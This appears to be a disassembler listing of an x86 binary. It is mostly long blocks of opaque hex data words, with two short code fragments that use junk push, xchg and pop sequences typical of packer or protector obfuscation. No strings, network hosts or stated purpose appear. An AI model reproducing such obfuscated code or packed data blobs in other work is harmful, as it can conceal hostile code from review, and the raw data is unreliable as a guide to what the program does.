		dd 4B8D08B8h, 66D88A76h, 0CE28A5ECh, 0EC663AE8h, 0F9DFB4A5h
		dd 10549D4Eh, 0A600D846h, 516E2C3Ah, 81CA8562h,	3F03A59Dh
		dd 997122ACh, 518A0F3Fh, 96DF9048h, 9AB2D68h, 4D6BC32Fh
		dd 267ABCACh, 0F2E6AFDDh, 9907D11Dh, 5D3767C1h,	10C1177Ch
		dd 442A023Bh, 0AC3EC696h, 35196213h, 0B291CE81h, 0E9F2A1D1h
		dd 0A27728B0h, 0FAAB2D6Ch, 0D586B1h, 0A47CEAB4h, 5C0AF04Ah
		dd 0D9B291CEh, 0CF16C428h, 0E293B291h, 0AE5B4199h, 2BB8DEE6h
		dd 25E5BF7Ah, 58AD99C7h, 8CC07h, 0EAECAC00h, 0D9FF9848h
		dd 0CC0C8737h, 0BC1A7A2Ah, 0AE286A1Ah, 0C23D730Ch, 0B46406D0h
		dd 0A151F3E5h, 8F3FE1F5h, 0C330D206h, 9DD7856Bh, 0C5549944h
		dd 0E0F89DF8h, 18C0D50Bh, 51850D43h, 894F467Ch,	0C42577B4h
		dd 63CC96F9h, 0D9BFF2A3h, 92F18D2Bh, 4949F7A8h,	603ADC8Dh
		dd 9A6F6930h, 0E0A01861h, 8C150620h, 7,	4E582C7h, 0C83D0000h
		dd 0FA2A842Fh, 2BD93D9Bh, 0A892F18Dh, 683D9BFAh, 0F1357E2Fh
		dd 0FBE1B927h, 993EB42Eh, 0BE18FAABh, 0CA6BAB52h, 10591BFDh
		dd 4B5AD02Ch, 0FC6A346Ch, 0FF9ACA24h, 82CB04D9h, 9866159Eh
		dd 0CE19272h, 0C2197CACh, 815607D1h, 0F1BBFF48h, 0EAC5AB83h
		dd 6778E8DBh, 13FDD9B9h, 6AC898A7h, 5F37E8EEh, 0D072662Fh
		dd 0A8637520h, 59D0E3D8h, 0EAE6378Ch, 8E000007h, 7A2ACC0Ah
		dd 6919BB1Dh, 5C0CAE2Ah, 4CFC9E38h, 55EE9046h
		dd 0E8EEA41Fh, 0D5039646h, 0C3138333h, 0B4247121h, 674DA512h
		dd 99449DB9h, 73DAA736h, 0B3885043h, 9203317Ah,	0B68B4B49h
		dd 0C1F7CC7Dh, 9D6305D1h, 0A78D65D3h, 994495C1h, 5BB58D3Eh
		dd 4495C775h, 85514199h, 6B5129DAh, 994495BDh, 0E840893Ah
		dd 0EED4DDB8h, 99449540h, 51FFE5BDh, 0CE994495h, 0E3BB6C1Dh
		dd 5E711977h, 78C11145h, 0ECEFA656h, 0A27A2BADh, 0DFB42272h
		dd 0A5EB997Fh, 0B7689944h, 1C68BD06h, 0B20CE452h, 0BEF85346h
		dd 0F22B00D6h, 25F4B808h, 568F6474h, 0C8785CA5h, 189F9870h
		dd 0DF28AEE8h, 0FB2B03B4h, 0C663E9Ah, 98707826h, 33A5F29Fh
		dd 0CC7A255Eh, 135C0DCBh, 875441F1h, 0B9F2C70Fh, 48DE27CFh
		dd 0D1826F18h, 0ACCC6FCh, 801B894Fh, 83D42980h,	6F9h, 1BBD197Fh
		dd 0AAC2C6Bh, 0FD9F395Ah, 0ED8F474Dh, 0DF81553Dh, 0FF931046h
		dd 148535D7h, 247222C4h, 356010B2h, 3C9401A3h, 449EA856h
		dd 0C9962599h, 774FBD87h, 4495E191h, 0D5AD5E99h, 46E8F0A5h
		dd 9C45006Ch, 14CBB684h, 0E0F89DCBh, 4EF5BF0Bh,	0A6223E03h
		dd 976F203Ah, 91BB9CB1h, 0AD68199Fh, 8079FAF1h,	8ED7287Dh
		dd 0EA000006h, 0D68628AEh, 0C57517C1h, 0B8680ACEh, 0A858FADCh
		dd 0B14AECEAh, 3C9AF87Bh, 29AFEA9Ah, 17BFD787h,	8D0C575h
		dd 0BBA1F966h, 9944A00Dh, 9D2EFB8Ah, 0D808E0F8h, 0E471CBAh
		dd 5B3A70C5h, 65BDA87Dh, 8D77250Bh, 46F492F1h, 8BD48553h
		dd 3E6E68C1h, 0B398254h, 9246518Ah, 4B453FE1h, 31150624h
		dd 7, 2A9826Ch,	9D3D0000h, 0BF0BE0F8h, 0C9AF87F5h, 99449719h
		dd 9343E596h, 0CB01D602h, 0A76D0FC7h, 0B22472DDh, 72432901h
		dd 0EF9F979Eh, 5F36663Eh, 6E27D779h, 335F956Ah,	0B882CEA3h
		dd 88F4C4Dh, 11C2FBD0h,	8619033Ch, 0B65BB5C0h, 6A5028D9h
		dd 0A5E57D85h, 0E6F2A5D5h, 648FD811h, 0BD46F8B3h, 69BE86CDh
		dd 5C018h, 0F6E0B800h, 0E5F3A454h, 0D8009343h, 0C80E8636h
		dd 0BA1C7626h, 0C6497F18h, 0B8680ACCh, 0A555F7E1h, 9343E5F1h
		dd 0C734D602h, 0A0DB896Fh, 0C9589944h, 0E0F89DFCh, 7AFC9C08h
		dd 72260B4Dh, 0F273DE8Ch, 0F9AA5B92h, 70255BB0h, 3C5D9368h
		dd 291C79Ch, 741BC9AFh,	0E79892F2h, 0D2246136h,	7943A699h
		dd 93455030h, 0D7BD17F1h, 92F27329h, 10E5F1A3h,	327B2CD7h
		dd 6C2DEBAh, 86F56115h,	7DD5B5F1h, 1003165Fh, 3E000000h
		dd 13A82h, 0B2BE2A00h, 0C6FCD327h, 9DE62B74h, 7D25E0F8h
		dd 0E173D9CDh, 51B3B8Ch, 3B5D0000h, 4E49F99Bh, 5B38E88Ah
		dd 692BDB7Dh, 771BCB6Dh, 0EE24BD5Fh, 13B52171h,	0A23663h
		dd 0EE904650h, 0DF81573Eh, 86341A72h, 39944A0h,	0F89DA774h
		dd 0C0D50BE0h, 8E584318h, 0A830655Dh, 240C0C06h, 0DF81506h
		dd 33000000h, 0D282h, 0CC823D00h, 3D000000h, 85514373h
		dd 0EA2E77B0h, 0AADAB220h, 4BA3ECEAh, 4496B565h, 0AC813299h
		dd 50289660h, 7D1C6F6h,	0CCB0F932h, 9F91CA33h, 0D2E21783h
		dd 8097F415h, 0A05B0C37h, 807A6D02h, 86ACFD52h,	0F2000004h
		dd 0DE8E30A6h, 0CD7D1FB9h, 0C07012C6h, 0B06002D4h, 0B952F4E2h
		dd 44920083h, 31A7F2A2h, 1FB7DF8Fh, 10C8CD7Dh, 0C3A9016Eh
		dd 9944A215h, 87360392h, 944752BDh, 5126D701h, 238F6718h
		dd 6D8BEC4Ch, 0D48B264h, 94E5BCA6h, 0D6BC145Dh,	993F3609h
		dd 18BED886h, 345F8F67h, 0F89CCCA4h, 0C6D309DEh, 53043D12h
		dd 35E7957Bh, 0B364993Fh, 31E2486Ah, 81993F35h,	35934127h
		dd 5F10993Fh, 2BADE816h, 1EBAD989h, 3FBF849h, 87B30000h
		dd 47774FBDh, 0FAC64E4Fh, 2C0AA4E7h, 0F4DA327Bh, 99458744h
		dd 0DE3810C1h, 87F09E84h, 0BC6D9945h, 4587AA58h, 2D762799h
		dd 54C28CD8h, 0E2C8227Ch, 99458734h, 429603B1h,	3A83346Dh
		dd 92BABD56h, 0CE893A9Fh, 807AFA3Ah, 0AAD02176h, 0CE000003h
		dd 0BA6A0CCAh, 0A959FBDDh, 9C4CEEEAh, 8C3CDEF8h, 952ED006h
		dd 28AEE45Fh, 15C3D686h, 3D3C373h, 0F4E4B161h, 0A78DE552h
		dd 9944A2F9h, 871AE776h, 91774FBDh, 994496E5h, 478F0535h
		dd 0C5F03972h, 890C3C14h, 98FDAD4Fh, 551F6B40h,	0C290FE7h
		dd 899F979Eh, 76A600D8h, 3F6DB620h, 50AA8256h, 979DBC6Ah
		dd 7B61399Fh, 9F979DCDh, 9FE8994Ah, 10C8CD7Dh, 4AF8DE38h
		dd 889F979Dh, 0FACFCD8Ah, 0ABB66A3h, 65F52420h,	17605DF4h
		dd 3EAC76C2h, 0BBDC0C66h, 4BF0D41Dh, 0C8A5E515h, 54D25C17h
		dd 0A5FA86CDh, 30054h, 0B6207800h, 0A5336414h, 98405303h
		dd 884E46F6h, 7A5C36E6h, 86093FD8h, 7828CA0Ch, 6515B721h
		dd 5303A531h, 87F49642h, 0A29B492Fh, 89189944h,	0E0F89DBCh
		dd 1AC8AE08h, 9792F18Eh, 12489DE6h, 0EDB35583h,	83DDB523h
		dd 4C954153h, 3EA98F68h, 9F85DF99h, 993EA9F1h, 4974BD6Eh
		dd 0A9DD8B71h, 0AC5A993Eh, 8F40F1E7h, 0AA1CCEBAh, 65B7993Eh
		dd 3816F204h, 2DDE134Bh, 19000000h, 774FBD87h, 3E8DF091h
		dd 0E7BC6D99h, 3E8D49FBh, 5992E499h, 4B20611Fh,	0FD96C613h
		dd 4A1FB9DEh, 0E0B26011h, 0F49AADF6h, 0D5000000h, 8E0F89Dh
		dd 1F79EA9Ch, 0E73086D8h, 0A0365C92h, 32D55CC8h, 8C9B1EF4h
		dd 2720CEB4h, 0EC9D92F2h, 7D184EA3h, 0F929835Bh, 30693E9Ah
		dd 0F2271ECCh, 0A1EA9B92h, 207F164Ch, 0F49CBD6Dh, 0FB9D4EE9h
		dd 0F264B595h, 72662F92h, 637520D0h, 7AD42E8Eh,	0F264E694h
		dd 4EB26392h, 92F264A0h, 0DF236C1Dh, 75CFA715h,	6487351Bh
		dd 530492F2h, 9619260Ah, 0E596993Fh, 1FCDB30Dh,	99993F96h
		dd 7E2FDAFEh, 0B3D97E94h, 0C009D29Fh, 846AC49Eh, 994086D6h
		dd 0BF944250h, 672DDB86h, 3175BE6Fh, 3B21F967h,	9F903E05h
		dd 0C9F9D182h, 0BB6B0DC9h, 0C444FFD7h, 0D880787Dh, 19F3283h
		dd 0BFD90000h, 0D2C57517h, 0DFB46406h, 0EDA757F9h, 0FB9747E9h
		dd 6AA039DBh, 8729ADE5h, 7416C2D7h, 6204D2C4h, 53F5E3B2h
		dd 0FAA88EE6h, 779944A4h, 0F59D1BE8h, 68F3FE1h,	736930D2h
		dd 0AE835343h, 1EE82C75h, 86CD8B0h, 9E8D59C3h, 7B5B39E7h
		dd 0CC246DA6h, 3F4C45E6h, 3C11C299h, 3F4C9E50h,	86E73999h
		dd 4B9F9474h, 0BD6013h,	9D9B0000h, 0D50BE0F8h, 584419BDh
		dd 92F19278h, 0CDFCA3F2h, 5FDBFCECh, 6414B667h,	72D2A731h
		dd 0B4B16106h, 5DA6AB4Ch, 9E14F19h, 3F4B1623h, 0AE29399h
		dd 0E02BAD9Eh, 83CCBB3Eh, 63D19B61h, 9301318Bh,	4B356E43h
		dd 7F1B39CCh, 0CCB0F9B7h, 9F8EE037h, 0BB851B87h, 513B9DF6h
		dd 0B3FC9F70h, 0CFFFD788h, 5A7C16C3h, 0F99B4C85h, 6904949h
		dd 6314C4D3h, 6D81F7B2h, 2C818077h, 0B4DBh, 2D4C400h, 0F1E7B060h
		dd 0E4F49F4Fh, 0D4029242h, 0C6108232h, 0DA558B24h, 0CC7C1EB8h
		dd 0B9690BCDh, 0A757F9DDh, 0DB48EAEEh, 0A5EF9D83h, 0DD6C9944h
		dd 0E1F59D10h, 0D2068F3Fh, 6C265630h, 9DDC216Ah, 0D50BE0F8h
		dd 0B07618C0h, 34A078E6h, 0A00837E9h, 59B1FA56h, 44CDCF73h
		dd 0C69B4C99h, 31D30590h, 0EFC41481h, 1D916703h, 2788DA12h
		dd 47F5DB35h, 0C4121D91h, 0F99CCA13h, 88D3DDFh,	0CFC5FBD0h
		dd 0EFD52F07h, 121D9141h, 6FC40DBEh, 0D6AEFF53h, 0D54119BFh
		dd 0CAD616A5h, 0B9DB2456h, 774C8C09h, 1026h, 0F49ECE00h
		dd 785499E2h, 33A5F020h, 7FC81085h, 0DBFB9D3Ah,	13C5D006h
		dd 488E083Eh, 7C5C3D73h, 0B52171A7h, 0EEE8AAE0h, 25B1E319h
		dd 5F791A50h, 9543548Ah, 89533DC0h, 4C381E3h
		dd 83000000h, 1C3304EBh, 241C3124h, 5C241C33h, 291C68h
		dd 24048900h, 5E08950h,	4, 8704E883h, 895C2404h, 0AD68243Ch
		dd 8B065309h, 0C4832404h, 5AA56804h, 24890000h,	24048124h
		dd 4, 8957515Fh, 5FF989C7h, 59084F89h, 52243C8Bh, 0C281E289h
		dd 4, 8704C283h, 8B5C2414h, 89532404h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 27F0E95Ch, 61FFFBh,	0B8B7DDh, 3065319h
		dd 0A4E0FFC5h, 7B0308DDh, 7970CDDEh, 722788B3h,	0F5792276h
		dd 0DA6696BAh, 9167BF22h, 542A2516h, 855E5E18h,	0D14EC530h
		dd 0F656E879h, 6A39AAFAh, 0AF75DA31h, 6B306B98h, 0E0087B8Dh
		dd 2D78A07Ah, 0F374BFF4h, 0EB6A6F53h, 0C0AE2204h, 550E933h
		dd 8F550000h, 32FDDDE9h, 0D6A0808Ch, 77442430h,	1CE5C5D1h
		dd 40686A76h, 94A0460Fh, 3B47EDB4h, 0DDE98F5Bh,	838F35FDh
		dd 90F01FECh, 0A1D4FC07h, 0AD755696h, 44AD531Ah, 54D6A1FFh
		dd 4F205B25h, 46DD6DBh,	0B982E0B5h, 5F270713h, 8D5A00CCh
		dd 216EB31Ch, 2B52F8C3h, 0DB4F2055h, 4F2473DCh,	3E8329F1h
		dd 0BC8417E0h, 6FD84916h, 22ED4B20h, 0CB39AF7Ch, 0F89E6699h
		dd 38E11DECh, 0AB00E7A0h, 0E07A2A43h, 2D421DACh, 43B480DEh
		dd 0C51F0024h, 0B4C0292Bh, 956208D4h, 0B4CCFB48h, 7DDB4E9Eh
		dd 0A067C514h, 3968B5FAh, 0DB4E9E47h, 5D3281EAh, 0F9EC583Ch
		dd 9B7B872Dh, 31602DD3h, 0DB4E9E42h, 4D88BCA2h,	0B016C035h
		dd 51E2h, 0AD752000h, 8FED3A07h, 0FDC71DC3h, 0CA198A57h
		dd 4F20E79Bh, 3D270DDBh, 1642A0C2h, 0F62572B0h,	0DB4F2C8Ah
		dd 0E08651A7h, 0EA39A213h, 182h, 0AA75C000h, 0ED93704h
		dd 703D9B68h, 1987FDCAh, 47EDB82Bh, 450E6C3Bh, 2AF2509Fh
		dd 0C029CF97h, 0AC756AB4h, 10DB3906h, 47AD9D6Ah, 7B21EA1Dh
		dd 45C78F6Fh, 4F206A16h, 0CC723CDBh, 5AC38EFFh,	209AE615h
		dd 2E97DB4Fh, 0D09AF8C5h, 7BE95D2Ah, 40640EC9h,	0AE93B016h
		dd 0D1000000h, 4F19AC75h, 26BDCA9h, 670DD735h, 541AE622h
		dd 0D48D4F49h, 82B63D58h, 73A218CCh, 0DB4EB10Dh, 352BB24h
		dd 1A4AB82Eh, 33781EE7h, 0B0C9B7E6h, 0FF68DB4Eh, 0F3BC9CB0h
		dd 0DDAA084Dh, 0B0542C5Bh, 74DDDB4Eh, 7ECD3E0Bh, 32205CA9h
		dd 0B85E2BABh, 145FD684h, 79A67C5h, 6AC8953Bh, 268FF89Eh
		dd 8A30FB59h, 11935FBDh, 4ED09EE2h, 0C12A93DBh,	0A69E04F4h
		dd 0EE56C430h, 41E7AE0Ch, 4EB40374h, 0B0161024h, 40D3h
		dd 4A861100h, 5E75D78h,	0AC521C70h, 0CD96F443h,	0AF0D5A27h
		dd 0FF703DE3h, 0E08652B0h, 5410FC13h, 3642E8B1h, 17AA75ECh
		dd 67D8A54Bh, 710231FEh, 73DB4F20h, 1A2CD78Dh, 0C1B01642h
		dd 1, 5AB75FFh,	6C12DA38h, 0D278419Fh, 36DCA705h, 93ED1C69h
		dd 9EDB4F20h, 7DE74D35h, 0CA7A5E77h, 9BA74D17h,	90D5973Eh
		dd 206C1443h, 5CC5DB4Fh, 0C6933906h, 8AB90655h,	0D13844EDh
		dd 0A0FECB34h, 462632D8h, 0DC0BD87Eh, 0D501FCA6h, 0DF3E7A47h
		dd 46B04013h, 0A1A30F5Eh, 0B324F14Fh, 4607C03Ch, 4C9B0469h
		dd 748026EEh, 5926CC94h, 0C08D33FBh, 27F49A62h,	8B58FEC9h
		dd 37BDA715h, 887BE94Fh, 260E1AC0h, 0B65B7D1Ch,	13EBBh
		dd 0DDF8F900h, 701B4A8Fh, 0E1D13841h, 15204EADh, 0A9D8E15Ah
		dd 0D5017BD7h, 1F88F15Ah, 862CF452h, 824DAB7Ah,	672F8DDCh
		dd 2F7CC1h, 0D5017B80h,	24F948B1h, 8B58FEC6h, 0DC0F359Bh
		dd 7A626E14h, 0B65BE7E8h, 4D0Fh, 28864D00h, 7BECB95Fh
		dd 0E589512Ch, 22DF71A0h, 2D72DB4Fh, 4F2082FEh,	0DD46AFDBh
		dd 0CB713A98h, 878A77Ch, 14DB4F21h, 664B6AEh, 6B46953Bh
		dd 93C2076Fh, 0DB4F22BDh, 501F2B94h, 40852BF2h,	4F206F11h
		dd 0A59C2DBh, 0AAECh, 0DDF8A200h, 0BDC9C2C4h, 6BD4001Ah
		dd 5A00C826h, 80CD1C8Dh, 379FB651h, 55228BD1h, 7EAD2FF7h
		dd 0D5014202h, 515DC62Fh, 3603A971h, 136D9CE9h,	1ED50142h
		dd 3E3766B5h, 9FD50142h, 15FB1B3h, 0E13F8E34h, 98677319h
		dd 0C400713Ah, 62629F1Fh, 21925FC8h, 8EDEF7D2h,	14B31A49h
		dd 359ECAD5h, 0AF420A68h, 8D53EE4h, 7E4BDEAAh, 44A26FD8h
		dd 9006D379h, 0F7BF2222h, 0AA138451h, 0D7B7AD91h, 0DC296EFEh
		dd 534B67Eh, 0CEAEE07Bh, 17E44DB6h, 0A52857A6h,	32C481FAh
		dd 98650BD4h, 9C05D827h, 0E585C190h, 0FB3C5A67h, 86975FAEh
		dd 6CBB6128h, 0E3284491h, 8CFDD3A7h, 0F3E3FD4h,	0DB4EBA71h
		dd 0BAEE57C0h, 0ACEDEF96h, 0A2EF3E10h, 892FF755h, 0CDFC4BBCh
		dd 0D121A600h, 0CE1BE851h, 0F423A570h, 0D4FB718Ch, 7DD33CA5h
		dd 0CF400DB3h, 0D85A2280h, 0FB71D7A9h, 88F15AD4h, 2ED49C7Ch
		dd 967FADE9h, 0EB0323C4h, 6998C79Ch, 3D009026h,	741AE275h
		dd 0CD36A7h, 6431D7A2h,	0EDE3614Dh, 0B053117Fh,	563642E8h
		dd 0CE1BE88Eh, 3603A970h, 4B1876C5h, 7C49EFB8h,	0B4D5A20Bh
		dd 0A97194D0h, 0CA28F703h, 0AC0A59FFh, 53713EE4h, 21h
		dd 0B95F2684h, 4A86A26Ah, 0C5F40B7Eh, 0DB4E9DBBh, 1CD90D76h
		dd 7D03329Dh, 0B4DB4E37h, 1493E24Bh, 9AF754Ch, 7016DE3Ch
		dd 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h,	690FDC3Ah
		dd 0CE743E9Ch, 32D8A301h, 5453E865h, 4C3815Bh, 83000000h
		dd 1C8704EBh
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	26A0h
		mov	[esp], edi
		mov	edi, 65319E0h
		mov	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dd 9E139BBBh, 0AEC94166h, 0B0B8B4C6h, 306531Eh,	4BE0FFC5h
		dd 0DA1CE933h, 1772D1E0h, 0F51C4890h, 0ED54C0EBh, 42FE15h
		dd 0E9753EE0h, 0AC3F90D0h, 7F71DDF8h, 4F2BA3C2h, 0CD72D119h
		dd 0B63EAD0Bh, 57241236h, 69067ACCh, 0CF0E09B7h, 4567DA1Bh
		dd 912EEC03h, 2D1AA279h, 0DA250561h, 990A7E7Ah,	0C776F41Eh
		dd 66510A3h, 0F55A4028h, 166DA57Eh, 4D3A2CEEh, 0E66AEEF6h
		dd 0EB3602E6h, 0EAAA104h, 4E8E947h, 5B210000h, 0FEC9A9B5h
		dd 0A26C4C58h, 4310F0FCh, 0E8B1919Dh, 0BC343642h, 606C12DBh
		dd 713B980h, 0A9B55B27h, 4F5B01C9h, 0C4BCEBB8h,	6DD4FC01h
		dd 0AD752262h, 13DC3A07h, 0B981616Dh, 20E84613h, 844FAD7Ah
		dd 2D9B11DEh, 0BE87E537h, 0A36BC918h, 4511F1FDh, 0E7B3939Fh
		dd 0D39EFC41h, 0BBEF602Dh, 0FCB8F367h, 0EEC312B1h, 5623C990h
		dd 80AF31F8h, 0DB4E4300h, 925FC831h, 0F5C26834h, 0F28CE97h
		dd 0FDC6392Bh, 0F1D5EE57h, 1EC49073h, 0C46A3212h, 42ABC8F7h
		dd 5339DB4Eh, 9C5CE611h, 4B7BB016h, 0B9000000h,	3A07AD75h
		dd 4F20770Bh, 0AD977DDBh, 16421032h, 1C7B0h, 75050000h
		dd 61BF04AAh, 0B021EE94h, 0F23F8C61h, 4F20BDC3h, 0BC0B74DBh
		dd 3700935Eh, 0EA53C491h, 4CF2BF1Dh, 0A99B097Fh, 80C56B36h
		dd 65B45A22h, 3A97151h,	0AC75ADF7h, 10DB3906h, 47AD9D6Ah
		dd 7B21EA1Dh, 56C78F6Fh, 0A0A08F7Fh, 58258E16h,	0BD8A30FAh
		dd 25F2985Fh, 8B58FEC7h, 16DC8874h, 0DF0E5BAAh,	0DB4E86A1h
		dd 0CA703A90h, 0D4238CFDh, 7101FC68h, 86B016DAh, 69h, 6AC75C4h
		dd 6B11DB39h, 8ABA289Eh, 0DCE88E57h, 0AA56D10Dh, 0A9E4DAEDh
		dd 0E71BF513h, 97E6E968h, 0FDCA7039h, 0E72CD29Fh, 0CB1AC089h
		dd 501482F6h, 16858DA5h, 110945B0h, 60C70E30h, 4B6CD423h
		dd 0AA000000h, 14EA4A86h, 0B0B23E59h, 943A0361h, 2C9D69C7h
		dd 92106A53h, 22EF5852h, 0C2251F0Bh, 784753F9h,	5AA94F1Ah
		dd 17AA7592h, 66D7A44Ah, 0BF7CB8FDh, 875EA48Eh,	79A87DCCh
		dd 0DB4F17FAh, 954004EAh, 0B0164B8Dh, 12Ah, 0AB756800h
		dd 12DA3805h, 9A7E9F6Ch, 0FC6D37AAh, 0C2C4905Fh, 0A5A6BD09h
		dd 1DCD1448h, 4BA8B41Dh, 6E9DE28Ah, 0D137DD09h,	84E2AF18h
		dd 2A0A16BCh, 0A2EFBC62h, 945A2655h, 6ED7D501h,	0DAA74D18h
		dd 97EB1A69h, 56D50194h, 3F07FA6Ah, 5EB8E5CEh, 0E77EA93h
		dd 0B45A2202h, 1BC189E7h, 0B223F04Eh, 0D6B6746Dh, 420F780Ah
		dd 0A8751BE4h, 39BFA591h, 8679EB51h, 4A124DBEh,	0C6BE6411h
		dd 0D969515Dh, 0FEB65BB0h, 180h, 0A2DDF83Ch, 5B2554D6h
		dd 0D6DB4F20h, 0C637046Dh, 0A2E9185Dh, 0AFD13841h, 531B7946h
		dd 430A68ADh, 6B3A4E9Dh, 669A400Dh, 0C0228861h,	7DDB2AB8h
		dd 0E4420FB5h, 0E431761Ch, 131CBB5h, 0C3BDECD5h, 6ED50131h
		dd 3D063A05h, 4AB42627h, 0A97ECD36h, 0E92572B9h, 313569EEh
		dd 0CEB2D931h, 63D501ABh, 34DAA4FAh, 3BA7F667h,	680ED609h
		dd 0D9A7D623h, 58D501ABh, 0BD8CA0EFh, 9EED935Fh, 5B372E38h
		dd 4ECDB6h, 0F80B0000h,	0E7458AE2h, 4AA8751Bh, 2170D97Fh
		dd 22ABA5D4h, 3DA6DB4Fh, 203F4170h, 9C67DB4Fh, 0CB29F6h
		dd 379D8D5Ah, 81E7C70Dh, 3F37A3C3h, 864FADFAh, 0EE6291E0h
		dd 0E9DB4F22h, 4B52C38Bh, 5CB8D4C6h, 0BDE2D96h,	0ADF696A2h
		dd 0AC000000h, 4A8FDDF8h, 384FEC1Bh, 0A7EC55D1h, 0F1552B5Ah
		dd 3362D501h, 0D501F14Dh, 47B07BE4h, 89D623F8h,	1F2265Ah
		dd 53A20BD5h, 0CD9A2DF5h, 0FECB713Ah, 0AFBB248Dh, 0BE40A4E0h
		dd 878C83E3h, 9012DA38h, 1FD1F61h, 40A912D5h, 0FD314473h
		dd 0DFACD501h, 228F01A3h, 7ECD1D61h, 84C05212h,	4E566FE9h
		dd 41E7B342h, 632B89D8h, 0F65F05D0h, 9FCE1BEAh,	0D501BCE1h
		dd 0BD98E750h, 0E00F5418h, 0CAD4DCC1h, 2482C730h, 8D62B157h
		dd 0F4C1672Fh, 1575EFD3h, 3867ACC0h, 0C481BC69h, 44131F88h
		dd 6C41908h, 9E3AD449h,	0DC1C50AFh, 3B035208h, 4A8FDDF8h
		dd 2240861Bh, 35026BD1h, 17BD8AE8h, 0FA26AC8h, 5FD09D43h
		dd 319A4009h, 0EA7D4525h, 3DAE7B21h, 5538FD4h, 0EA3F1E17h
		dd 0E78D55ABh, 0C94C398h, 4213D5F5h, 0A56D90D4h, 4B13F3FFh
		dd 0AD7AD8A5h, 35193A07h, 6E14DC0Fh, 49BA8262h,	8DDE6A61h
		dd 0D3188183h, 0B403A975h, 3C1DFh, 54770000h, 9AF758Ch
		dd 7016DE3Ch, 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h
		dd 690FDC3Ah, 0CE743E9Ch, 32D8A301h, 8952E865h,	4C281E2h
		dd 83000000h, 148704EAh, 1C895C24h, 0E6895624h,	4C681h
		dd 0EE810000h, 4, 5C243487h, 56240C89h,	0C681E689h, 4
		dd 8704EE83h, 895C2434h, 0BA522434h, 5ABF484Eh,	0C101C283h
		dd 0C28105EAh, 37D256Ah, 545AD189h, 8124348Bh, 4C4h, 512E6800h
		dd 0C890000h, 8468F24h,	5024348Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 51240C8Bh, 0C181E189h,	4, 8704C183h, 0E95C240Ch
		dd 0FFFA5B35h, 0E11EF29Bh, 0FCB8EA57h, 3065323h, 0DCE0FFC5h
		dd 26054C0Ah, 0D879DF6Bh, 0CD397033h, 1957400Ch, 0E6353999h
		dd 48644202h, 94064D63h, 8515DD85h, 1157D5F0h, 2372E2B9h
		dd 967636EFh, 0A14C2D54h, 7647519Ah, 0F46B320Ah, 8640CE2Fh
		dd 9A6D1113h, 0AD013191h, 747A46Ah, 873BE427h, 4F238969h
		dd 0E501B521h, 1F2B4C23h, 0E5597FD7h, 2F50F5D3h, 8F3DBEE7h
		dd 0E8489DE9h, 5, 0FF003319h, 0CBE88100h, 5F35F402h, 900FB966h
		dd 628FC781h, 840F0000h, 5, 0B9E3FCB8h,	18726816h, 8B660000h
		dd 830F5AC3h, 5, 0C7BF0F57h, 0F37FF58h,	58Eh, 0F0816600h
		dd 515BB568h, 59C2BF0Fh, 5B07EB81h, 0EB811AB9h,	7DD4856Bh
		dd 58E0Fh, 81660000h, 8151A9F0h, 9862F8C3h, 0E1806045h
		dd 61C38B5Fh, 0DE811F89h, 78B627ECh, 6601EF83h,	0E0AAEE81h
		dd 664F4F4Fh, 393FDE81h, 0F01EA83h, 2585h, 7E900h, 5F180000h
		dd 40A3EDD6h, 2DE977h, 0C50F0000h, 0E1BFCF83h, 9860F9A6h
		dd 0BD1E565Fh, 0D78A12C9h, 97BEFF9Bh, 0E907A0C8h, 0FFFFFF79h
		dd 1CEC7F13h, 3144034Bh, 0DF7060E1h, 8DA288CCh,	5326778Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 45B67BCBh, 0BE9EAC2h, 22000000h,	0AD66B2ABh
		dd 1795F45Bh, 8D892656h, 64D0599h, 2D39958Bh, 6660064Dh
		dd 0C761FA8Bh, 4D051D85h, 71C806h, 0F1B58B00h, 0C7064D06h
		dd 4D02E985h, 6, 0D78A6000h, 2BE98D8Bh,	0FF61064Dh, 4D2F8DB5h
		dd 95FFF906h, 64D2E55h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 43C35646h, 69540510h,	6AE8BEh, 51195FFh
		dd 0C08B064Dh, 57CE5BEBh, 0EA3DE3B1h, 0D919D6F3h, 0A9E86C1Dh
		dd 191B8763h, 6E2C83F4h, 76BCF434h, 6F68EB99h, 2E8C36E1h
		dd 42BB70BCh, 0C8811C02h, 36F9AF8h, 0BAF9F008h,	4DE27A39h
		dd 0E29A8DFAh, 0A3B76D2Dh, 0BE679452h, 920742DEh, 52DF1677h
		dd 119C59D8h, 5775C874h, 1A639DEh, 80EC63E0h, 14E881h
		dd 0BDEA0000h, 82D4E6BDh, 1A0AC4BCh, 4BEF3B6Ah,	0F94005F4h
		dd 8D8BD7EAh, 64D32BDh,	12E85Ah, 0E7A00000h, 697D81ABh
		dd 650D3E75h, 4850DF24h, 2DDFD7AEh, 0C2815BFCh,	6BEDh
		dd 23F58589h, 68064Dh, 8B000000h, 4D25D58Dh
		dd 9D895806h, 64D147Dh,	29023C8Bh, 4D03A1BDh, 1EEF8106h
		dd 0F690E1Dh, 38Bh, 0CE8B6600h,	9645EF81h, 0C1811088h
		dd 457224F8h, 52BAC781h, 0BE6640F9h, 3C897EC9h,	29BD8902h
		dd 66064D1Bh, 0E784CB81h, 8A02E883h, 814848EAh,	75E4CDE3h
		dd 0F4F88165h, 0FFFFF94h, 2585h, 0BE85700h, 0A0000000h
		dd 1E986956h, 6A6F0B8Fh, 9589943Eh, 64D160Dh, 20E95959h
		dd 7D000000h, 19B1ED0Ch, 9D8BCE32h, 64D10F1h, 0FFFF7BE9h
